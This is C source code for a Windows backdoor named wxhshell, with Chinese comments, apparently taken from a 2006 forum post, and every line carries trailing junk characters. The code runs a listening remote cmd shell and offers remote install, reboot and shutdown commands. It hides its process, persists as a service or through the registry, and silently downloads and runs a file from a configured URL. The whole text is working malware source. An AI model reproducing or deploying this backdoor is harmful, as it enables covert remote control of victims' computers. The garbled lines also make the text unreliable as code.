  case '?': { rYMHc@a9(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +gOv5Eno-  
    break; P ".[=h  
  } [6Gb@jG  
  // 安装 7$* O+bkn:  
  case 'i': { <jvSV5%  
    if(Install()) P 6|\ ^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ENi@R\ p  
    else nXOJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z6`[ dAo  
    break; 2oFHP_HVfu  
    } As7Y4w*+  
  // 卸载 mN:p=.& <  
  case 'r': { RK`C31Ws  
    if(Uninstall()) mxV0"$'Fm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UjU*`}k3  
    else tZ ]/?+1G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }[OOkYF#r  
    break; zLiFk<G@Xi  
    } 7R=cxD&  
  // 显示 wxhshell 所在路径 -?$Hr\  
  case 'p': { qj5V<c;h%W  
    char svExeFile[MAX_PATH]; jQs"8[=s  
    strcpy(svExeFile,"\n\r"); 8E| Nf  
      strcat(svExeFile,ExeFile); >1Y',0v  
        send(wsh,svExeFile,strlen(svExeFile),0); do1aH$Iw  
    break; >~sAa+Oxi  
    } >)3[CU,  
  // 重启 ,1+)qv#|i  
  case 'b': { $fwv'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2%Y]M%P  
    if(Boot(REBOOT)) KGsH3{r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5 5_#?vw  
    else { uxd5XS  
    closesocket(wsh); 5xawa:K  
    ExitThread(0); (ft8,^=4  
    } >wpC45n)9N  
    break; f|f9[h'  
    } D|}%(N@sl  
  // 关机 M 8BN'% S  
  case 'd': { Ok=RhoZZ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); CN$wlhs  
    if(Boot(SHUTDOWN)) 02_%a1g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #FBq8iJ  
    else { B9RB/vHH  
    closesocket(wsh); :! h1S`wS  
    ExitThread(0); $=iV)-  
    } f@%H"8w!  
    break; ~EVD NnHEr  
    } L"akV,w4p  
  // 获取shell o#-K,|-  
  case 's': { JEK 6Ms;)A  
    CmdShell(wsh); R)3P"sGuN  
    closesocket(wsh); ^nYS @  
    ExitThread(0); ",c(cYVW  
    break; cboue LEt  
  } H\\0V.}!  
  // 退出 $vC!Us{z  
  case 'x': { 8T:|~%Sw  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); n\#RI9#\  
    CloseIt(wsh); \/J7U|@Lt  
    break; @tY)s  
    } (=d%Bn$6b  
  // 离开 <m"yPi3TY  
  case 'q': { MZGN,[~)6  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {CM%QMM  
    closesocket(wsh); I@l' Fx  
    WSACleanup(); $q]:m+Fm  
    exit(1); V=pg9KR!T  
    break; %C_RBd  
        } 6OJ`R.DM`  
  } =y; tOdj  
  } 2t3'"8xJ  
em  
  // 提示信息 &wbe^Wp  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7-"ml\z  
} \$o!M1j  
  } uFM]4v3  
uUUj?%  
  return; k#8,:B2  
} pm+_s]s,  
(c `t'e  
// shell模块句柄 pJC@}z^cw  
int CmdShell(SOCKET sock)  PK#; \Zw  
{ _7(>0GY  
STARTUPINFO si; aHosu=NK  
ZeroMemory(&si,sizeof(si)); Ctpr.  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?u/Uov@rD  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; fKzOt<wm  
PROCESS_INFORMATION ProcessInfo; G2]/g  
char cmdline[]="cmd"; _ECWSfZ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }yup`R  
  return 0; ?*I2?   
} #>+O=YO  
)GDP?Nc<Ik  
// 自身启动模式 nYJ)M AG@  
int StartFromService(void) | I_,;c  
{ Bb^CukS:  
typedef struct )~1QOl "~  
{ PN ,pEk|  
  DWORD ExitStatus; e"u=4nk  
  DWORD PebBaseAddress; CQf!<  
  DWORD AffinityMask; C%LRb{|d  
  DWORD BasePriority; COe"te  
  ULONG UniqueProcessId; [hs_HYqJ  
  ULONG InheritedFromUniqueProcessId; pp$WM\r  
}   PROCESS_BASIC_INFORMATION; h:iK;  
-lr)z=})  
PROCNTQSIP NtQueryInformationProcess; nUi 4!|r  
b4GD}kR  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; z1t YD  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; pi)7R:i  
3.M<ATe^  
  HANDLE             hProcess; !|hxr#q=4  
  PROCESS_BASIC_INFORMATION pbi; J<h^V+x  
T `x:80  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (Zi(6 T\z  
  if(NULL == hInst ) return 0; }gQ FWT  
Wk$ 7<gkr  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4.|-?qG  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |7Fe~TC  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); OfC0lb:c  
J-t5kU;L{  
  if (!NtQueryInformationProcess) return 0; +yX\!H"  
Pt~mpRl H  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); a+!#cQl  
  if(!hProcess) return 0; <11pk  
Vb>!;C  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +g8wc(<ik  
PjriAlxD  
  CloseHandle(hProcess); {2<A\nW  
aBk~/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /fCj;8T3o  
if(hProcess==NULL) return 0; Hn"xn79nc  
'<" eG!O  
HMODULE hMod; R/8>^6  
char procName[255];  DJ?kQ  
unsigned long cbNeeded; dn0?#=  
/ sI0{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \a]JH\T)Q  
o:E+c_^q`  
  CloseHandle(hProcess); "Ka2jw,  
xBH`=e <  
if(strstr(procName,"services")) return 1; // 以服务启动 =KfV;.&  
b#%s!  
  return 0; // 注册表启动 Sc Uh -y_  
} z(]14250  
KLpu7D5(|  
// 主模块 ]O Nf;RH  
int StartWxhshell(LPSTR lpCmdLine) 8 1;QF_C  
{ s'\PU1{  
  SOCKET wsl; S;DqM;Q  
BOOL val=TRUE; t,#9i#q#  
  int port=0; ycAQHY~n  
  struct sockaddr_in door; $_s"16s  
L{fKZ  
  if(wscfg.ws_autoins) Install(); /mLOh2 T  
c>+l3&`  
port=atoi(lpCmdLine); ;ru=z@  
JSXudz5 c  
if(port<=0) port=wscfg.ws_port; P,y*H_@k  
o33 wePx,  
  WSADATA data; }C1&}hZ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; H^ _[IkuA%  
TJS/O~=  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _l$V|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8>" vAEf  
  door.sin_family = AF_INET; n}?XFx!%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); * ^R?*vNs  
  door.sin_port = htons(port); ]`%}Q  
' b41#/-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {+~}iF<%  
closesocket(wsl); 7J@iJW],,  
return 1; w"Gci~]bXU  
} eSvS<\p  
;&B;RUUnTO  
  if(listen(wsl,2) == INVALID_SOCKET) { QcBuUFf!c  
closesocket(wsl); -xg$qvK  
return 1; m\QUt ;  
} !#l>+9  
  Wxhshell(wsl); ZmSe>}B=  
  WSACleanup(); l-` M 9#  
H4C]%Q  
return 0; *o<zo `  
wLn,x;;<  
} )C^ZzmB  
64]_o/u5W4  
// 以NT服务方式启动 K q;X(&Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [(Z{5gK  
{ tkT:5O6  
DWORD   status = 0; ;S Re`  
  DWORD   specificError = 0xfffffff; _a?c,<A  
E= 3Ui  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $07;gpZt  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Ph@hk0dgr/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; CK4C:`YG  
  serviceStatus.dwWin32ExitCode     = 0; +<#0V!DM  
  serviceStatus.dwServiceSpecificExitCode = 0; YN.[KQ(!  
  serviceStatus.dwCheckPoint       = 0; ~z;G$jd  
  serviceStatus.dwWaitHint       = 0; W=zHD 9  
R_? Q`+X  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); XMt)\r.  
  if (hServiceStatusHandle==0) return; l/WQqT  
)4h4ql W  
status = GetLastError(); Tj0qq.  
  if (status!=NO_ERROR) [2h 4%{R&  
{ Y!!w*G9b  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; &lnr?y^  
    serviceStatus.dwCheckPoint       = 0; 3a|I| NP  
    serviceStatus.dwWaitHint       = 0; #)A.yK`u  
    serviceStatus.dwWin32ExitCode     = status; jU~q~e7Te  
    serviceStatus.dwServiceSpecificExitCode = specificError; pZeJ$3@vk  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )DR/Xu;b  
    return; &E& _Z6#  
  } T#M_2qJ1=  
EV=/'f[++  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; b!lS=zIN  
  serviceStatus.dwCheckPoint       = 0; yLpsK[)}\  
  serviceStatus.dwWaitHint       = 0; 5~,usA*  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); x:wv#Wh:l7  
} d8N{sT  
TR7j`?  
// 处理NT服务事件,比如:启动、停止 wqx9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :'6vIPN5  
{ zDD  
switch(fdwControl) ~<Eu @8+_  
{ +f){x9 :  
case SERVICE_CONTROL_STOP: TUy 25E  
  serviceStatus.dwWin32ExitCode = 0; ~<.%sVwE  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?^} z  
  serviceStatus.dwCheckPoint   = 0; #(Xv\OE  
  serviceStatus.dwWaitHint     = 0;  4:Ton  
  { %]"eN{Uvn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Zb&5)&'X  
  } #[odjSb  
  return; c^F@9{I  
case SERVICE_CONTROL_PAUSE: P 7`RAz  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &x"hM  
  break; ^n%9Tu  
case SERVICE_CONTROL_CONTINUE: eeVzOq(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; j|-{*t{/x  
  break; 5K#<VU*:  
case SERVICE_CONTROL_INTERROGATE: tO}Y=kZa{  
  break; mb GL)NI  
}; qsG}A  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |s!<vvp]  
} tNf_,]u  
<lN=<9  
// 标准应用程序主函数  =v!'?  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1lLXu  
{ Q$^)z_jai  
TQL_K8k@_  
// 获取操作系统版本 Hfo/\\  
OsIsNt=GetOsVer(); INNTp[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); pY$DOr- r`  
FT;I|+H*P  
  // 从命令行安装 19]O;  
  if(strpbrk(lpCmdLine,"iI")) Install(); .22}= z  
=`EVg>+^  
  // 下载执行文件 k=  
if(wscfg.ws_downexe) { 1 ~s$<  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) k vF[d{l  
  WinExec(wscfg.ws_filenam,SW_HIDE); m?y'Y`  
} K<vb4!9Z9  
fq(3uE]nC  
if(!OsIsNt) { i Qa=4'9;  
// 如果时win9x,隐藏进程并且设置为注册表启动 lEC91:Jyt  
HideProc(); 91oAg[@4G  
StartWxhshell(lpCmdLine); \= G8  
} mQ=nU  
else 5e >qBw8t  
  if(StartFromService()) Gj- *D7X5  
  // 以服务方式启动 um=qT)/D  
  StartServiceCtrlDispatcher(DispatchTable); AiUK#I  
else GmdS~Fhp  
  // 普通方式启动 *n*po.Xr  
  StartWxhshell(lpCmdLine); JQ<9~J  
V\/5H~L  
return 0; ?UBhM,;XK  
}
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只看该作者 1 发表于: 2006-10-10
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